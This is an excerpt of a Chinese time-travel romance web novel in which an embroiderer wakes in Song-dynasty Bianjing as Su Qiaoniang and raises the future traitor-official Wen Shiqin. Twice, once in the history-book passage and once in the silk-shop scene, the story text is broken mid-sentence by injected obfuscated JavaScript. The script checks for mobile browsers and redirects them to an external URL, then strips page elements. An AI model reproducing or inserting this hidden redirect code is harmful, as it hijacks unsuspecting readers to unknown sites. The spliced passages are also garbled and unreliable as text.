《织心映锦》 1. 前尘事 推门声惊动梁下燕,苏锦绣踏入东渚镇的白墙老宅,心下不安。 院内那颗枇杷树还在,枝桠斜斜探进窗棂。树下的青石桌凳上似乎还有当年外婆教她穿针引线的身影。外婆信佛,绣品多为金身佛像,绣前必要兰汤浴手,一针一线对齐经纬,她初学苏绣时嫌繁琐,外婆便笑着把绣绷递过来,说绣艺里藏着光阴,急不得。 一根线劈成八股,再劈成六十四股,就用了她六年时间。 苏锦绣踏上二楼,目光先落在那具老杉木绣架上,水绿软罗纱松覆绷面,薄尘在斜天光里浮沉,像给未完的时光蒙了层纱。 掀纱,那副未完工的百鸟朝凤撞入眼底。杭绸底料细腻,百鸟或打籽缀羽腹,或盘金勾尾屏。凤凰浑身叠着渐变的绛红金箔,近看针脚密匝如织,翙翙其羽,远瞧有焰光流动,涅槃将飞。 外婆走时,还攥着她的手说“把凤冠的金线绣完,才算有始有终”。 苏锦绣伸手抚过绷布,触到冰凉的竹框,就想起外婆走的那个冬天,她坐在空荡荡的堂屋,听着巷外机器印花厂的轰鸣,第一次觉得苏绣的针脚,抵不过现实的急风。 那种机器一针能出百朵花,比手工快了不知多少倍。 后来的日子像被按下了快进键,机器绣品堆满了镇上的铺子,东渚镇的绣娘走了一个又一个,她守着老宅熬了半年,看绣线受潮发霉,听表姐说“手艺活养不活你”,终究还是拎着行李箱去了上海追随表姐。走前她没敢再进绣房,怕看见这未完工的绷布,就想起外婆临终时望着绣架的眼神。 如今为了外婆忌日回来,苏锦绣指尖抚过这未完的作品,忽然鼻酸。 拉开旧抽屉,丝线仍用竹厘分装着,靛蓝、石青、金线……每一缕都还是当年理好的模样,她捏起金线劈丝,指尖竟生了涩意,从前外婆教她劈六十四股蛛丝般的细线,如今她只劈三回就断了线。 直到银针穿线落绷,旧时记忆倏然醒转:食指抵针尾,手腕轻转,金线顺着凤羽纹路游走,针脚疏密转熟稔。苏锦绣垂眸看着银针起落,忽然红了眼,曾经外婆没能等到她绣完凤冠,这次她回来,总要把这未完的针脚,一针针续进岁月里,也算给外婆,给从前的自己一个交代。 金线绕凤冠半匝后,苏锦绣轻按腰侧,酸意已浸脊椎,银针悬在杭绸上微颤,比昔年陪外婆绣活时滞涩许多。她轻喟歇手,却见窗台旧桌上压着本蓝布封皮的《绣巷杂记》。 指腹抚过卷边书页,恍见少时趁外婆安寝,偷点灯蹲读的模样。翻至夹干花的页次,是她最喜欢的人物故事,苏巧娘——十岁能绣百鸟朝凤雏形,宋代汴京绣巷的天才绣娘。 那样的年纪,那样的灵气,苏锦绣不得不暗叹这般天纵之姿,自己苦学多年亦难企及。 只可惜,最末一行写苏巧娘于桃李年华早逝。 若能长命,不知会绣出多少惊才绝艳的作品。苏锦绣忽然自嘲:天才尚且能这般在有限的生命里惜时精进,自己却半途弃了苏绣,真是比不得。 再往后翻,竟见未曾读过的闻时钦传。 此书记载闻时钦寒门出身,品性高洁,科举探花入仕,一句“台谏不严,是谓负君”得仁宗赏识擢升殿中侍御史,笔锋如刀,弹劾三司使何方则“买妾亏价”,闹得沸沸扬扬,何方则罢官后,他很快补了权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239013|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知谏院;后弹劾枢密副使田遇“治军宽纵”,田遇被调往地方,他又得授龙图阁直学士。 民间更编了小曲:“闻谏官,笔如刀,削了何官补田袍。” 然后期权欲熏心,比周为奸,“嘉祐间数兴大狱,闻时钦所劾者非亲仇即异己,台谏之风因之渐浊”。百姓说他“忘了糙米味,只认金银光”,连仁宗晚年也私下叹:“闻谏官初似璞玉,怎就磨成了顽石?” 终因构陷恩人张明叙,致其殒命,遭贬昭州。 最末一行写他临行前,自刎于绣巷故居,去时也是二十岁。 苏锦绣啧啧称奇。 歇够了劲,她重新坐回绣架前。眼下要绣的凤眼,正是全幅百鸟朝凤的魂,须按覆纳体绣法,外圈针脚得稍粗定形,越往瞳孔处越要密,每一针都得贴着前针的尾端走,半分错不得。 她屏住气,银针带着浅金退晕线往绷布上落,想着画龙点睛的道理,这眼绣活了,整只凤凰才算真的有了灵气。可百密一疏,指尖不慎一滑,针尖猛地扎进指腹,殷红的血珠瞬间渗出来,滴落在凤眼上。 “糟了!” 苏锦绣慌忙去擦,却见血渍已晕开,眼看好好的凤眼要毁,只能暗叹得拆了重绣。她转身去抽屉里找同色线,没留意身后绣架的动静。 那滴血迹竟在凤眼里慢慢化开,浅金的退晕线似被染上活气,凤眼处渐渐透出层诡异的柔光,连凤凰的眼珠,竟像有了生命般滴溜溜转了半圈。 等她拿着线回头,只觉眼前骤然一白,绣房的景象瞬间被虚空混沌吞没,刺目的光芒逼得人睁不开眼,身子像被一股力量拽着,往无边的亮处坠去。 2. 相偎依 昏昏沉沉,只觉魂魄在暗潮里浮荡,不知何来,不知何往。 额角突突地跳,痛得像是要裂开,耳畔却有个清润的声音,一声声唤着“娘”“是我的错”,缠得紧。 苏锦绣混沌着皱了眉,她连恋爱都没沾过边,哪来的娘可当? 费力掀开眼,先看到的是绣着碧荷的帐顶,麻布间落着点经年的尘。 耳边的哭声还在,细碎地抽噎着,像是怕惊扰了谁。 她偏过头,借着天光眯着眼瞧去,床沿边蹲坐着个少年,约莫十四五岁的年纪,鸦黑的额发垂下,旧布衫洗得发白,却难掩星眸剑眉,玉面生辉。 “你是谁?”苏锦绣的嗓子干得发紧。 “我……我是阿钦呀。”少年的抽噎猛地顿了。 苏锦绣心头更懵,方才好像听他唤的是“娘”。她揉着发痛的额角,低声自语:“我何时有这么大的儿子了……” “阿姐?什么儿子?”少年凑近了些,声音里带着急,“阿姐你烧糊涂了?” 苏锦绣眉尖微蹙,哑声问:“那你怎么叫我娘?” 少年一愣:“阿姐我唤的是你的名字,苏巧娘呀。” 苏巧娘? 古籍里的苏巧娘? 苏锦绣又哑声问:“这是什么年代?” “庆历元年,阿姐你不记得了吗?”少年膝行着爬近了些,将微凉的掌心贴上她滚烫的额头,眼泪啪嗒砸在她手背上,“还烫,阿姐是不是还难受?我去叫兰医女再来看看。” 少年给她倒了水轻搁在床头矮几上,没再多说,转身便掀了门帘跑远,想是寻那兰医女去了。 她抬眼打量这屋子:像是寻常人家,逼仄却整洁温馨,旧木桌上堆着分好的绣线,矮柜上摞着绣谱,门敞着半扇,能看见院里竹棚下也摆着绣架。 这不是东渚镇的古宅。 苏锦绣心里慢慢落了实——她穿越了。 只是瞧这屋子的光景,还有少年这副拘谨的模样,这位苏巧娘的日子,怕是过得不易。 回想穿越前最后的记忆,是她在收尾的几针时,指尖被针一扎,血滴落在那凤凰眼上,刺痛还没散尽,手里的针、案上的绷子,连同那耗了她近三年心血的百鸟朝凤,都没了踪影,只余一片虚空混沌。 门外传来脚步声,是少年引着位医女进来了。医女眉目清秀,自称“兰涉湘”,近前探了探苏锦绣的额,忧声道:“怎么还烧着……” 少年端了药碗坐在旁,此刻正舀了药汁,小心翼翼地往她唇边送。 兰涉湘缓声道:“巧娘,你许是病中失了记忆,我讲给你听,你看能否记起来些。你家原是这绣巷里世代以绣活为生的,只是父母去得早。后来邻舍闻家收养了你,没承想一年不到,闻父闻母去江南采丝线,船也沉了……” 少年给苏锦绣喂药的手轻抖,药汁晃出几滴在碗沿,眼底泛红。 兰涉湘顿了顿:“便只剩你和时钦姐弟俩相依为命。时钦在学堂念书,束脩、笔墨,全是你一针一线绣了绣品换的。” 苏锦绣耳尖猝然捕捉到“时钦”三字,喉间猛地一呛,顿时咳得撕心裂肺。少年慌忙搁下药碗,语气里满是自责:“阿姐对不住,是我喂得太急了!” 苏锦绣一边摆手示意无碍,一边咳得胸腔发疼,心里掀起惊涛骇浪。 闻时钦?这竟是闻时钦? 她悄悄瞥去,少年眉如墨画,目若澄泉,一身素布长衫衬得身姿清挺,瞧着是玉润珠辉般的纯良模样,半点没有日后奸臣的阴鸷。 苏锦绣咳着,心口忽然涌上一阵熟悉的酸楚,原属于苏巧娘的记忆碎片正簌簌往脑海里落——闻家的收养之恩,灯下绷着绣架赶工的夜,给少年缝补衣袍的针脚,送他去学堂时攥着铜板的掌心……连带着那份相依为命、又疼又怜的情意,也一并漫了上来。 “阿姐忘了也没关系。”闻时钦眼中有莫名的执拗,“以后有我,我会护着阿姐,再不让你受委屈。” 药汁苦得苏锦绣皱了皱眉,闻时钦摸出颗蜜饯,递到她唇边:“阿姐含颗蜜饯,就不苦了。” 苏锦绣张口含住,甜意漫开,少年望着她的眸里是全然的依赖与关切。 兰涉湘在旁见了,温声道:“巧娘歇着吧。阿钦,咱们去给你阿姐再抓些药。” 苏锦绣听她叫自己巧娘,自然而然就应了一声,自己都觉得惊讶。 后来养病这三日,闻时钦照料得无微不至。 晨起温了药端到床头,傍晚回来带些点心,夜里还守着她绣架旁的灯,直到她睡熟了摸着体温正常才肯去睡。 苏锦绣越和他相处,心里的好感越盛。这般体贴入微,又生得俊美,即便没这颜值加分,单凭这份品性也足够让人敬服。她又想起那本野史,心里越发混沌,是记载本就有误,还是自己承了苏巧娘的情感,所以看他哪都好? 她还发现闻时钦白日去学堂,夜里总回得极晚,眉宇间堆着化不开的倦意,有时连给她掖被角的手都会晃。 这学堂能比现代的晚自习还卷? 第三日他推门进来时,苏锦绣忍不住问他:“阿钦,你们学堂每日何时放课?” 话音未落,目光扫过他颈侧,瞥见一抹暗沉的淤青,心猛地一沉,忙唤他近前:“你脖子上这伤,是怎么回事?” 闻时钦下意识往后缩了缩,不肯应声。 苏锦绣声调一厉:“阿钦。” 他这才僵着身子停下,乖乖任她伸手扯开衣襟。 只见旧痕叠着新伤,青紫斑驳地爬满了少年单薄的脊背与肩头,苏锦绣喉头骤然发紧,心像被攥住,再抬眼时声音已带了颤:“谁干的?是不是有人欺负你了?” 闻时钦身子一僵:“阿姐别担心,是回来路上不小心摔的。”可脖颈那处月牙形的淤青太过显眼,分明是被人用指节掐出来的。 他越是遮掩,苏锦绣心头的疼与气越翻涌,伸手攥住他手腕,指尖触到他小臂上也是块青紫:“摔能摔成这样?你给阿姐说实话。” 两厢对峙,终究还是闻时钦先败下阵来。他垂头,额发遮住那双星眸,也遮住眼底的红血丝:“是去武场了,放课后去武场……打杂能赚些盘缠,还能跟着教头学拳脚。” 他说罢突然抓起苏锦绣的手按在自己的胳膊上,眸色沉沉。那里的肌肉比同龄少年紧实许多,是他每日挥枪习武的成果,“阿姐你看,我是不是壮实多了?以后我能背着你跑,再也没人能欺负我们。”说到最后几个字时,他陡然拔高了声调,带着孤注一掷的执拗,眼泪毫无预兆地砸在苏锦绣手背上。 “我不想再像以前那样……连护着阿姐都做不到……只能看着你……只能看着你……”他肩膀微微颤抖,像只被雨水淋湿的幼兽,只能用笨拙的方式来证明自己。 苏锦绣心里翻江倒海,这几日身子虚只躺着养病,一针绣品没动过,也没想过家里哪来的银钱买药材、买吃食?他夜里回得晚还带着伤,定是在外面受了不少苦,自己竟半点没察觉。 “是阿姐对不起你……”苏锦绣声音发哽,指尖悬在他肩头那片青紫上方,怎么也落不下去。 “阿姐说什么傻话……”闻时钦靠近,手掌贴着苏锦绣后心轻轻拍 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在苏绣的针法里,平绣规矩,乱针鲜活。苏锦绣拈着针在团扇的素绢上顿了顿,忽然想试试极难的盘金绣。 她从匣中取了金梗线,先顺山茶花瓣的弧度盘金。金梗软又脆,转弯时得屏住气轻捻,稍用力就断。钉线更要巧,针得从金梗缝隙斜扎进去。 曾经她为了练盘金绣,指尖不知被扎破过多少回,夜里对着烛火练到眼酸,却总在挑针时失了分寸。可此刻握着针,记忆里捻针走线的弧度忽然清晰起来,那是苏巧娘刻在骨血里的天赋,混着她曾经没日没夜的苦练,思绪像堵了许久的渠忽然通了。 提针在素绢上游走,挑时如蛛丝拂过,绣出花瓣边缘的薄透;压时似叠浪堆沙,堆出花蕊中心的厚重。不过半盏茶的功夫,团扇上已盘出朵山茶。迎着烛火看,水光婉转,栩栩如生。 苏锦绣抿嘴笑了笑,把团扇轻轻搁在案上,明天再绣些,拿去集市卖了换些钱,阿钦就不用总熬着了。 正想着,身后忽然传来一声闷喘,接着是布料摩擦的窸窣声。 她轻手轻脚挪到床边坐下,只见闻时钦眉头拧得紧紧的,额角渗着细汗,像是魇着了,嘴里还含糊地念着什么。没片刻,那低喃清晰了些,是带着颤的“别走……”。话音刚落,闻时钦忽然短促地叫了一声,眉头拧得更紧,额上的汗顺着鬓角往下滑。 苏锦绣瞧他这魇着的模样实在难受,便伸出手轻轻推了推他的胳膊:“阿钦?阿钦醒醒。” 闻时钦惊醒,大口喘着气,黑眸里还蒙着未散的惊惶,额角的汗珠掉在褥子上。他猛地坐起身,胸口剧烈起伏,直勾勾盯着苏锦绣,像是要确认眼前人是不是真的在这儿。 苏锦绣被他看得心头发紧,蹙眉问道:“魇着了?” 闻时钦没应声,只是低下头,黑发垂落下来,遮了大半张脸,添了几分清俊里的沉敛。身上那件素白寝衣松松垮垮挂着,隐约能看出肩背挺直的线条,有种少年人特有的清朗与利落。 他沉默着缓了好一会儿,直到胸口的起伏才渐渐平了才抬头,眸里情绪翻涌,瞧着复杂得很。 他哑着嗓子开口:“阿姐,如果有一天……有锦衣华袍的人要带你走,你别跟他走。” 苏锦绣一愣。 “就算他说能让我飞黄腾达,能给你堆成山的金银珠宝,你都别信。” “那些都是假的,”他眼中满是恳切与哀求,“只有我是真的……只有我不会害你……” 苏锦绣彻底懵了,只当他是噩梦还没缓过神,顺着话头点了点头,轻声应道: “好,我不跟他走。” 3. 登徒子 周遭如雾里看花,朦胧难辨。 四周轩敞华丽,可身上的衣料粗糙破烂,只能勉强蔽体。 指尖无意蹭过臂弯,便是一阵钝痛漫来,低头再看,青紫的淤痕叠着旧疤,在单薄的衣下横七竖八地露着。 心猛地一慌,她踉跄着扑到镜前,镜中映着的分明是自己的脸,眉尖那颗小痣都没错,可这宅院,这伤,是怎么回事? 门轴轻响,她腿就先软了,顺着镜台滑坐在地,本能地往角落缩。 有人锦衣华袍,缓步走近,衣摆扫过地砖,窸窣响。 她眼睫颤得厉害,心下莫名恐惧,手在身侧摸到支冰凉的簪子,紧紧攥在掌心,针尖对着来人,却是徒劳。 那人猛得掐住她的脖子,声音却飘远,断断续续听不真切: “……机灵……发觉了……打死……” 惊醒。 这梦来得怪,惊得人再难安睡。 苏锦绣看窗外天色尚早,便披了衣裳起身,轻手轻脚往厨房去了。往日都是阿钦忙活做饭,今日自己身子已经爽利,往后该是她来照看阿钦。 厨房不大,但案上碗筷码得齐整,墙角堆着柴,倒也温馨。 苏锦绣瞅好了食材,对着柴火却犯了难。见旁有火折子,便自己摸索着打。起初还算顺,她心里正有点底,忽有火星掉在柴枝旁,她慌忙抬脚,跺了几下还灭不掉。她转身要去打水,偏对这屋子不熟,摸不着水缸在哪。 没奈何,只得跑去唤闻时钦。少年在自己房里睡得正沉,她摇着他胳膊轻喊:“阿钦,阿钦。” 闻时钦迷迷糊糊眯开眼,睫毛还颤着,带着刚醒的惺忪:“怎么了?” 最后还是闻时钦做了一桌热乎早饭。 苏锦绣坐在桌边,瞧着他利落地摆好碗筷,想起方才自己差点烧了灶台的窘事,心里越发过意不去。 送闻时钦出了门,苏锦绣回屋便支起绷架拈针。 清晨露未消时,先以平针绣在青缎上起了并蒂莲荷包的形,茎上转折处用打籽绣缀了莲籽。 日头到窗边,换了素缎扇面,绣绶带鸟,散套针铺鸟腹的米白底,后掺粉紫线沿羽片斜走针,留细缝透底色,鸟尾绶带则以盘金绣,金线裹丝,随弧度盘绕,针脚藏在扇面底下,只露金灿灿的边。 晌午时分,用乱针绣在素纱方巾上绣了茉莉,淡紫花瓣掺两色线,深紫落瓣尖、浅紫铺瓣心,针脚疏处透纱白,晨露般柔美。 苏锦绣先自我欣赏了一番,又吃了个馕饼垫肚子,再把这几样收进竹篮覆上蓝布,出门恰遇到兰涉湘过巷口,问了市集的去处,略理鬓发便挎篮出巷。 这是她头回出门逛,走在绣巷青石板窄路上,两旁多是青灰小瓦的矮屋,窗台上摆着草花,偶有抱针线笸箩的妇人探身颔首。 走半盏茶,小路渐开阔,穿旧曹门,不多时便见护龙河,两岸夹道渐热闹。进了闹市区,条石铺的路蜿蜒向前,两旁连接着错落的店铺,车水马龙,烟火气浓。汴京繁华,全在这里铺陈开来。 苏锦绣眼都看直了,原来古代竟是这般鲜活热闹,比画册上瞧着生动百倍。 “抓住那臭道士!日日坑蒙拐骗的!” 吆喝声刚起,身侧就有白影窜过,风里卷过缕檀香,撞得苏锦绣差点没站稳。 果然哪都有害群之马。 苏锦绣问了路人才知绣铺多在城南,又遇着个热心人指了条穿巷的近路。刚迈步进巷,就瞥见那伙官兵在往这寻人,只是早没了那道士的影子。 脚下未远,忽被人猛地捂住嘴,一股劲地将她往旁边的僻巷里拽。 苏锦绣心猛地一沉,情急之下,也顾不上别的,攒足十成的劲,狠狠往那人脚背上跺去。 “唔!”那人被跺得闷哼一声,捂她嘴的手松了。 苏锦绣刚喘过气,就听头顶传来吃痛咬牙的声音:“小娘子这脚劲,莫不是练过?” 她猛地抬头,撞进一双潋滟桃花眸,正是方才那一袭白袍的道士,虽被踩得皱着眉,却是掩不住的丰神俊朗。 苏锦绣瞧他这吊儿郎当的模样,还被官兵追查,定不是什么好人。不与他多言,奋力挣扎开就要往外跑。 巷口忽传来官兵的吆喝:“往这边搜搜!那道士跑不远!” 她刚要呼救就又被那温热的大手死死捂住,连拖带箍着往更深处带。那手捂得极紧,她喉咙里的呼救声全被堵成了闷哼,半点也传不出去。 苏锦绣心下更急,下意识又抬了脚要去跺他,可那道士吃过一次亏,这次稳稳躲开。他手捂得更紧了些,在她耳边压低了声:“再喊,贫道被抓了就认你是同党,让你陪贫道一起蹲大牢!” 苏锦绣他的无赖话吓得不敢再乱动,道士见她安分了,官兵也已走远,试探着松开捂她嘴的手,指尖刚离唇瓣,她便猛地张口,狠狠咬在他手掌上。 “嘶——!”道士疼得倒抽冷气,蹿了半步,手掌上已沁出血珠。 苏锦绣“呸”地吐掉嘴里的腥气,骂了句“登徒子”就挎紧篮子转头就跑。 可跑到巷底才发现这是死路! 回头再看,那道士已气定神闲,璧人玉立,倚着石墙甩着流血的手,笑得像万年狐狸: “小娘子跑什么?贫道还能吃了你不成?” 道士往前走,她便只能往后退,声音发颤却硬撑着: “你、你别过来!我……我阿弟回来要是找不到我,定会扒了你的皮!” 那道士闻言却笑得更轻佻:“哦?令弟是何方英雄?不如引荐贫道认识认识?” 苏锦绣退到墙根,慌乱中篮子里的绣品散落出来,一方帕子恰好落在他脚边。 他见多了珍品,只这一眼便知是上等苏绣,那素纱茉莉掺色自然,比宫里绣娘的技艺还巧。目光又掠过她的脸,标准的小家碧玉,杏脸桃腮。 眼眸盈秋水,瞳亮似墨珠,慌时眼尾泛胭脂红,怯雨羞云。 苏锦绣被他盯得心里发毛,他却莫名其妙从袖兜掏出把桃花扇,“啪”地展开,开始扇风。 孔雀开屏似的。 道士清了清嗓子:“城南华韵阁的安掌柜最是识货,小娘子带着绣品去找她卖。提贫道的名号——应不寐,能多给你加三分利。” 苏锦绣半信半疑地怔在原地,应不寐瞧她这副模样,笑得更欢,得意道:“怎么?傻了?” 折扇又“唰”地合上,用扇骨挑起她的下巴:“也是,像贫道这般芝兰玉树的人物,寻常女子见了魂不守舍也正常。” 苏锦绣被应不寐这通自夸噎住,看他自我陶醉的样子,只觉得这人是被官兵追得脑子糊涂了。 这一番拉扯有惊无险,他虽看着没恶意,苏锦绣也不敢多留,敷衍了应了几句就开跑。 刚踏出僻巷,身后又传来应不寐的声音:“哎,小娘子!还没问你姓甚名谁呢?”她跑得更快了。那声音却又追着风飘过来,带着点戏谑的笑:“改日贫道上门拜访啊!” 苏锦绣只当没听见,头也不回地钻进了街上的人流里,一路打听着到了华韵阁。 刚迈进门,便觉里头不同寻常。铺门气派,铺里四壁挂着绫罗绸缎,绣架林立,架上摆着绣屏、香囊等物,靠窗处,还有几个绣娘正低头在绣案上飞针走线。 她才站定,一个穿青布长衫的伙计便迎上来,见她只提着个竹篮,眉头立刻皱起:“去去去,打尖住店往隔壁走,这儿是卖绸缎绣品的。” 苏锦绣攥紧了帕子,心一横,挺直腰板道:“我找安掌柜,有绣品要卖。” 伙计上下打量她,见她荆钗布裙,眼神却自信清亮,迟疑着看过她的绣品才往里喊了声:“掌柜的!” 里头有人应声,随后珠帘轻响,走出来个妇人,身披绣纹绫罗,姝丽绝艳,手里还捏着根银针,扬声问:“要卖绣品?拿来瞧瞧。” 苏锦绣忙掀开竹篮上的布巾,将绣品递过去。 那妇人接过,指尖摸过针脚,轻咦一声:“你这双面绣倒好,比我这儿绣娘的手艺还精细。”又问,“小姑娘师从哪位?” 苏锦绣只道:“我是绣巷的。”顿了顿,想起应不寐的话,硬着头皮补充试探,“有道长说……报他的名字能多给些钱。” 妇人思忖片刻,一拍手:“呦,可是应不寐?” 苏锦绣忙点头:“对对对。” 妇人当即笑了,对伙计道:“给姑娘上茶。”又翻看了绣品,抬眼对苏锦绣道:“我姓安,名尺素。你这几样绣得实在细致。”算罢便说着便对伙计道:“取七十文来。” 伙计应声取了铜包,包好递来。安尺素接了转手给苏锦绣,温声道:“往后有好绣品,尽管再来找我。” 苏锦绣听出她这话里的认可,抓住机会:“老板娘,您这儿……还收绣娘吗?” 安尺素愣了愣,瞥了眼旁边绣架旁的几位绣娘:“你手艺是好,可我这的人实在满了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239015|181871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏锦绣闻言没慌,反倒笑了。 她进来时就观察了绣案上那山茶绣样,花瓣用的是传统平套针,叠色时得换三四次线才显过渡。她从绣囊摸出两枚细针、两缕丝线,一缕胭脂红,一缕鹅黄,竟将两缕线并在一处,指尖捻得匀了,捏着针道:“老板娘别急着拒,我前几日琢磨了个捻色绣的小法子,您瞧瞧?” 安尺素挑眉,没拦她。 苏锦绣在那半幅绣样旁落针,针脚仍顺着花瓣纹路走,可因两色线捻得匀,一针下去,胭脂红里隐隐透着鹅黄,竟比单一线色叠绣更显花瓣半开时的嫩意。寻常绣这渐变色,得换三次针、叠四层线才自然,她这法子一针到底,不过七八针,一小片花瓣就有了深浅过渡,针脚还比先前密匀些。 安尺素凑近了瞧,指尖点了点线迹:“两色并捻?倒省了换针的功夫。” 苏锦绣收针垂眸,声音仍柔却笃定:“是呢,线捻得匀了,颜色能融得更自然,还不用反复起针落针。老板娘若嫌人满,我不用占常位,就用这法子帮您做些配色细活,按件算钱就好,既省功夫,绣出来的颜色也更活泛,您看?” 安尺素盯着那片花瓣看了半晌,忽然笑了:“倒被你这机灵妮子寻着了空子。成,你留下吧,往后这些配色的活计,先归你。” 苏锦绣捏着那包铜钱,又想着得了个稳定的活计,回去的脚步都带着雀跃。 她先拐去文墨坊,拣了套寻常的竹笔、松烟墨,配了糙纸和小陶砚,又往市集去买了肉和蛋,路过巷口的糖饼摊,见那芝麻糖饼烙得金亮,想起阿钦前日多看了几眼,便又花五文买了两个,用纸包好揣进袖袋。 这般算下来,六十文花得只剩七文,但装了满满一篮的东西。她拎着篮子往家走,风里都飘着肉香和糖饼的甜气,想着阿钦见了新文房四宝,定要欢喜得眼睛发亮。 刚过州桥西侧的曲院街,就见着街边拴马桩旁立着两人,苏锦绣瞥见其中一个身长玉立,十分熟悉,再仔细一看,竟是闻时钦。 他垂着眼站在那儿,朗如画中人,脚边青石板上滚着块银角子,亮得扎眼。 对面斜倚着桩子的,是个穿湖绫衫的公子,锦衣玉貌,正轻慢地笑:“捡啊,捡了这银子,明儿替我抄两页书,不算亏你。” 闻时钦指尖微微蜷了蜷,正要弯身,苏锦绣已经快步走过去,心口突突直跳。 这是谁?这么拽?闻时钦眼下温顺,可真逼他黑化,快进成后期模样,他们都得遭殃。 苏锦绣没说话,先攥住闻时钦的手腕往自己身后带了带,才弯腰拾起那银角子,抬手就往那公子身上扔去,银角子撞在他锦缎衣襟上,又弹落在地。 那公子愣了愣,随即瞪起眼:“你、你敢扔我?” 苏锦绣声音清亮,毫不带怯:“怎么?用你对别人的方式对你,就受不了了?” 闻时钦在旁轻轻拉她衣袖,低声道:“阿姐。” 苏锦绣没理,只盯着那公子:“我家阿弟要抄书,也轮不到你这般作践。收起你那破银角子,往后别再来烦他!” 说完扯着闻时钦就走,只剩原地的谢鸿影指着他们的背影半天说不出话,他爹在汴京任正六品集英殿修撰,在街坊间已算体面人家。他自小被捧着长大,小吏家的孩子见了会递果子,街坊见了也客客气气唤谢小郎君,何曾受过这等对待? 闻时钦被苏锦绣拉着走,见她侧脸绷着,耳尖都泛了点红,知道她还在气头上,脚步放轻了些,没敢作声。 苏锦绣开口,声音有点闷:“阿姐能赚钱了,你看这篮子里的东西,都是今日绣活结了钱买的。以后……不用再跟着旁人打杂了。” 闻时钦想起阿姐先前总爱低着头,说话细声细气的,便是被人轻慢了,也只默默忍着,从不会与人争执。可方才不一样,她杏眼圆睁,像只被惹急了炸毛的小狐狸。谢鸿影被她那样盯着教训,脸一阵红一阵白,连句完整的反驳都挤不出来。 闻时钦垂着眼,睫毛在眼下投出片浅影,那模样比方才被谢鸿影堵着时还要蔫些,只眼底明晃晃透着自责,“我想赚钱给阿姐花,打杂也没什么的。” 苏锦绣脚步一顿,心里头那点气忽然就散了,只软得发慌。 两人沉默着走了段路,快到巷口时,苏锦绣望着闻时钦,没提方才的争执,也没说往后的打算,只抬手轻轻捏了捏他的胳膊,声音放得柔软,像安抚着受了委屈的小孩子: “阿钦长大了,知道疼人了。” 4. 同载酒 意识又坠进朦胧的梦里。 泪在眼眶里打转,她忍着没让落下来。 眼前走来个熟悉身影。是谁?想不起,心下却知:这人可以依靠。 心口急得发慌,那些淤痕的疼、被折磨、被威胁的怕,都堵在喉咙口想往外涌。 救我,看看我的伤,带我走。 可唇瓣像被黏住了,怎么也张不开。四肢沉得挪不动,指尖攥得发白,发不出半分求救的声息。 那人目光里似有担忧,她却只能扯出个比哭还难看的神情,声音淡得像风过水面: “没事的,快回去吧。” 心里的呼救撞得胸腔疼,嘴上却只有这一句,轻飘飘地送出去,连自己都觉得冷。 “小娘子!” 一声朗喝砸过来,苏锦绣浑身一颤,眼前还蒙着层噩梦的昏黑,身子已不受控地从凳上滑下去,一屁股磕在华韵阁的青砖地上,疼得她倒抽口冷气,眉头狠狠拧成团。 苏锦绣抬眼一瞧,火气就先窜了上来。 应不寐摇着折扇蹲在她面前,风流昳丽,墨色衣袍铺展在地上,像摊开的鸦羽。他手里还捏着朵玉兰花,直直要往她鬓边插:“刚瞧你睡得不安稳,给你簪朵花压惊。” “别碰我!”苏锦绣心中还有噩梦余悸,赶紧偏头躲开。 应不寐却笑得更欢,眼尾都弯起:“怎的还凶?”说罢就伸手要拉她起来,苏锦绣把他手打开,自己扶着凳子慢慢站起,屁股还在隐隐作痛,声音发闷:“你怎么在这?” “老板娘是我旧相识,”应不寐收起折扇敲了敲掌心,说得理直气壮,“我来买东西不成?” 苏锦绣没好气地瞥他一眼,一瘸一拐挪回绣案旁。 前几日她进了这华韵阁做绣娘,从早绣到午后,每日能得一百五十文,到了古代还给自己找了个朝九晚五的营生,想想都觉得荒唐。她扶着案沿坐下,拿起针戳进绷上的绣布,语气冷淡:“要买东西去前堂。” 旁边的绣娘们捂着嘴偷笑,七嘴八舌夸道长俊朗,应不寐受用的很,却唯独盯着苏锦绣蹙眉的模样。他忽然俯身,凑到苏锦绣耳边,热气拂得她耳廓发痒:“方才梦见我了?一直喊别走。” 苏锦绣手里的针差点戳了指尖,偏头低斥:“你别耽误我上班行不行。” “上班?” “……就是做绣活的意思。” 应不寐不肯罢休,折扇往肩头一搭,把她拉到绣架后,屏风挡住了外面的视线。 “你能转成正式绣娘,可不是多亏了我美言?” 苏锦绣刚要张嘴反驳,忽又顿住。应不寐和老板娘是旧相识,自己虽是以真本事来聘的,转正却是借了他的光。拿人手软,吃人嘴短,何况是他这般泼皮性子,硬辩指不定要被他缠得更久。 她默了默,索性顺着话头问:“那要怎么谢你?请你喝酒?” 应不寐听到喝酒二字眼睛一亮:“巧娘若请客,自然要去樊楼,那儿的女儿红加醉蟹绝配。” 苏锦绣只从绣筐里摸出几文钱给他看,声音闷闷的:“我只有这些闲钱,要去便去绣巷尾的谷酿摊,不去拉倒。” “巧娘可真是……” 铁公鸡三个字转了个遍,终究没敢说出口,巧娘的厉害应不寐是领教过的,真惹恼了她,指不定又要被她狠狠踩一脚。 应不寐叹完突然凑近,声音压得极低:“其实也可以不用请喝酒。” “让我亲一下,抵十坛女儿红如何?” 苏锦绣闻言气恼,手里的铜钱没拿稳掉在地上,蹲下去捡时又撞翻了绣架,丝线缠了满身。 